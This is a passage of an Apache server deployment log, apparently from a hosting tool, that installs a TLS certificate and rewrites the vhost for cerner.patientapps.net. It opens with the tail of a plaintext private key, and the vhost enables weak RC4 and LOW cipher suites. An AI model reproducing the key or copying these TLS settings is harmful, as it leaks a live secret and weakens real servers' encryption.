OUhQl/GSQVmBwTUd13dHfnfL2ZJxvrX4vhLxrdxuhwYlcgvrO+ivjBVGSAbvnPbI
dugGyW6GGwkYFGz+syt/mZ82fm9cmPC9ItkmI3kc+8U4OjRtYbOtagL3m8j+G/0+
augdjZ8QT04jt0BqthW7O09sjQ0RRf9Mjs4juhsj2dZm8IdxHr9uH8ypMxAiN60B
Ma4XUTmAX4EEhEaISbXIgJa6E9WI5WwZ6ieC/vCTcJl2/l9VDjKcEZcvT7gcG2Gb
s3Mx2kvJAgMBAAECggEAA5M0aDJdTpIEnEeJ0OFAN7KZ1Vr2bU1xOPYWuz0vyHYc
lwOmiWxh5Y1OhcMWRWk7c1oj2FJwiAUsteDQoT99iblGivD2K0QF+9Cz4dWUppT9
+MC+UudVecXJschZrBxUDzBmO7EtwjZBzGW8w6O6KTxijitct0+mVicpQGLtdg25
uFnOD4QASegqK2Oz4VyBXP9PlD6+SzArDgSp8f0KQar8PgHjFE/8TKq8/Rb94Npo
Dl1sklp4SBIqQrJDApmpfa8OXWofsC27tcBA9aINnQVgnzx0LMgDbea3O0KBgcJh
OwxQS3oAmERLm5E3D3vUxl6REONn96TJnF7HGoV6UQKBgQD9lTn8gC2ldd499jeA
crP27y6mnfHgm3iqTkblgc2dgJqBQdnh+Ku5d7NJsWLX7X6zYUuyiyLhZNIikrW8
APwtC9d6nJU8o8wgRx5+PXNHt2bBgNJVyAbL8b9o9vjvooktaX2YItQDMrXl7lqq
KLjBFHQbw86UTTYpAe4Vo66f6wKBgQDgl/tOOoDHPkWDnaYXuz6ldWvWRucaVoKx
I5qBD5CUjtlI0jTkXq6sh9QEYkVn4J5gbZxnWlEiEg44Rd1z/y5+0YztXk/pKKYO
K/wqHTKUzjewXRiYPyx/quUoSAfSHGvoo2iNe2PcS/SED97vwnsGCe2gx1gYF+oO
OzjInMDKGwKBgQDS+1iug/r2gnXxOaz9+vFOz7wRtrHrPY+MquoDxBbOJ5TlXGOq
xloiSrxp4OOrYhcbqiTwHSFdRKQtTcFU9cDavdJ/Wk40kNeiN2nggMIsdiRRdRwL
cQxunOmzrGB8CNB3byCm9rtNGeELuF/I2W62fo0IGMcEzqT0Q33SlUgSFwKBgGYf
tX3UzEnM3v8B6ExSMCI8SlSc2Oj4/WRetBqLYUqrydF7A+Hzy6lX+egkZzrcwCdI
sB2uy8WaQC0GV7QvDI1N667je6KhgSBgj8D2ldFkE552NoDD+Q/0PU8bsbKwicC2
zQvIV5gMUZrbPJv46sfMK+k3u6748MyX0TInVOKRAoGAQhPFznP/xYOI+xLePyYl
5FCSlPWmmBVZzrQYpf2NP96ZxPRwxgQGWLGuRbUcAc2WhepFVcuQa1LvtBukduq4
XDuH/e3TE1k8aIYIOvkZg/weYY1VKYn4FV/tu+28zBQ7S0zVZhoSGNXt3Ey3UWMA
SdLJ1uwoIPMBt1hn7/KoXds=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-24 06:00:51: 

chmod 755 /tmp/pkp258252; /tmp/pkp258252; rm /tmp/pkp258252

2026-04-24 06:00:51: 


dir=/etc/ssl/certs


2026-04-24 06:00:51: 

PUT: /tmp/pkp708763

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_cerner_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-24 06:00:51: 

chmod 755 /tmp/pkp708763; /tmp/pkp708763; rm /tmp/pkp708763

2026-04-24 06:00:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf 46

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-24 06:00:51: 

PUT: /tmp/pkp273769

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_cerner_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_cerner_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_cerner_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf= 1'
fi


2026-04-24 06:00:51: 

chmod 755 /tmp/pkp273769; /tmp/pkp273769; rm /tmp/pkp273769

2026-04-24 06:00:51: 




2026-04-24 06:00:51: 

PUT: /tmp/pkp657019

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-24 06:00:51: 

chmod 755 /tmp/pkp657019; /tmp/pkp657019; rm /tmp/pkp657019

2026-04-24 06:00:51: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-24 06:00:51: Establishing a connection
2026-04-24 06:00:52: 

PUT: /tmp/pkp458287

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-24 06:00:52: 

chmod 755 /tmp/pkp458287; /tmp/pkp458287; rm /tmp/pkp458287

2026-04-24 06:00:52: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
